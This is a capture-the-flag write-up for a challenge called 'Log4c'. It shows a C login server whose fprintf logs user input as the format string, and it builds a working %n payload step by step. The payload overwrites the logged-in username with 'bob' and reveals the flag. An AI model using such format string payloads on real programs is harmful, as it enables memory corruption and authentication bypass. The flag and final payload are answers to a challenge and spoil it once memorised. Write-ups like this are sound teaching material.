Log4c

CTF Writeup

Niklas Klinger

January 17, 2024

We are given the source code of the server binary:

```c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#include "secrets.h" // defines FLAG and BOBS_PW

char currentUser[64];

void handleLogin()
{
        puts("Welcome to Bob's server. Please log in.");

        fputs("username: ", stdout);
        char username[64];
        if (!fgets(username, sizeof(username), stdin))
                exit(EXIT_FAILURE);
        username[strcspn(username, "\r\n")] = 0;

        fputs("password: ", stdout);
        char password[64];
        if (!fgets(password, sizeof(password), stdin))
                exit(EXIT_FAILURE);
        password[strcspn(password, "\r\n")] = 0;

        if (strcmp(username, "alice") == 0 && strcmp(password, "wonderland") == 0)
                strcpy(currentUser, username);
        else if (strcmp(username, "bob") == 0 && strcmp(password, BOBS_PW) == 0)
                strcpy(currentUser, username);
        else
                currentUser[0] = 0;
}

int main()
{
        FILE* logfile = fopen("log.txt", "w");

        handleLogin();
        if (currentUser[0] == 0)
                puts("Login failed.");
        else
        {
                fputs("your reason for connecting: ", stdout);
                char logMsg[256] = "[%li] New login for user '%s', reason: ";
                const int offset = 39;
                if (!fgets(logMsg + offset, sizeof(logMsg) - offset, stdin))
                        exit(EXIT_FAILURE);
                fprintf(logfile, logMsg, time(NULL), currentUser);

```

```
50                  printf("Hello, %s!\n", currentUser);
51                  if (strcmp(currentUser, "bob") == 0)
52                          puts("Here's the flag: " FLAG);
53                  else
54                          puts("You are not an admin.");
55          }
56
57          fclose(logfile);
58  }
```

Sadly, we are not given access to `secrets.h`.

Logins are handled by the `handleLogin` function, which doesn't seem to be vulnerable[1]. But from the challenge description as well as the source code, we know Alice's password and can log in as her:

```
Welcome to Bob's server. Please log in.
username: alice
password: wonderland
your reason for connecting: saying hi
Hello, alice!
You are not an admin.
```

But we will only get the flag, if we can log in as Bob.

The title of the challenge hints that we should exploit some logging functionality. And we see that `main` begins by opening a log file (line 36), which is later used in line 48 to log successful logins.

Notably, our "reason for connecting" input is first read into `logMsg` using `fgets` and then again passed into `fprintf(logfile, logMsg, time(NULL), currentUser)`. So we've got a format string vulnerability.

We look at `https://en.cppreference.com/w/c/io/fprintf` or similar resources to check out our options. The `%n` format specifier is special, in that it doesn't actually print anything, but rather writes out the number of characters printed so far, with the corresponding argument being interpreted as a pointer to an `int` (where to write to).

But what is this corresponding argument? The code only passes `time(NULL)` and `currentUser`. If we add additional format specifiers like `%n`, then `fprintf` will read some additional, unknown stack data and then write to a "random" memory location. Which could have the following effect[2]:

```
Welcome to Bob's server. Please log in.
username: alice
password: wonderland
your reason for connecting: to hack you %n%n
zsh: segmentation fault  ./Log4c
```

Luckily, further reading of our `fprintf` reference reveals a solution:

> POSIX specifies [...] additional conversion specifications, most notably support for argument reordering (`n$` immediately after `%` indicates n-th argument).

This allows us to reuse the given arguments, like so[3]:

```
Welcome to Bob's server. Please log in.
username: alice
password: wonderland
```

[1] Although a timing attack could be possible on the `strcmp` of the passwords.
[2] A single `%n` did not trigger a segfault in my testing, so two where used in this example.
[3] This is technically undefined behaviour (See `https://pubs.opengroup.org/onlinepubs/9699919799/functions/fprintf.html`, "The results of mixing numbered and unnumbered argument specifications [...] are undefined."), but so is this whole operation.

```
your reason for connecting: I like my name %2$s %2$s %2$s
Hello, alice!
You are not an admin.
```

Which produces the following log:

```
[1705517269] New login for user 'alice', reason: I like my name alice alice alice
```

But as we've learned, if we can print `currentUser`, then we can also write to it with `%2$n`:

```
Welcome to Bob's server. Please log in.
username: alice
password: wonderland
your reason for connecting: %2$n
Hello, 1!
You are not an admin.
```

What happened here?

Up to our `%2$n`, 49 characters had been written, so `fprintf` overwrote the first 4 bytes of `currentUser` with `0x00000031`. On a little-endian system, this means that the first byte gets set to `0x31` (also known as `'1'`) and the following bytes get set to 0 (which terminates the C-string).

So our goal is now to write `"bob\0"` a.k.a. `0x00626f62` or `6451042`, to trick the server into thinking that we've logged in as Bob.

But how do we print 6451042 characters? Easy! Just use the `printf` formatting options: `%1$6451042li`
This will print the first argument left-padded with spaces to a "minimum field width" of 6451042.

Okay then, so we first print lots of characters and then overwrite `currentUser`:

```
Welcome to Bob's server. Please log in.
username: alice
password: wonderland
your reason for connecting: %1$6451000li%2$n
Hello, iob!
You are not an admin.
```

Almost there! We are off by `'i'-'b' = 7` characters. So our final payload is `%1$6450993li%2$n`:

```
Welcome to Bob's server. Please log in.
username: alice
password: wonderland
your reason for connecting: %1$6450993li%2$n
Hello, bob!
Here's the flag: ctf{w3_aRE_SaFe_fr0m_Log4j_We_onlY_u5e_printf-KS17s901IU7fyIjikFIYt}
```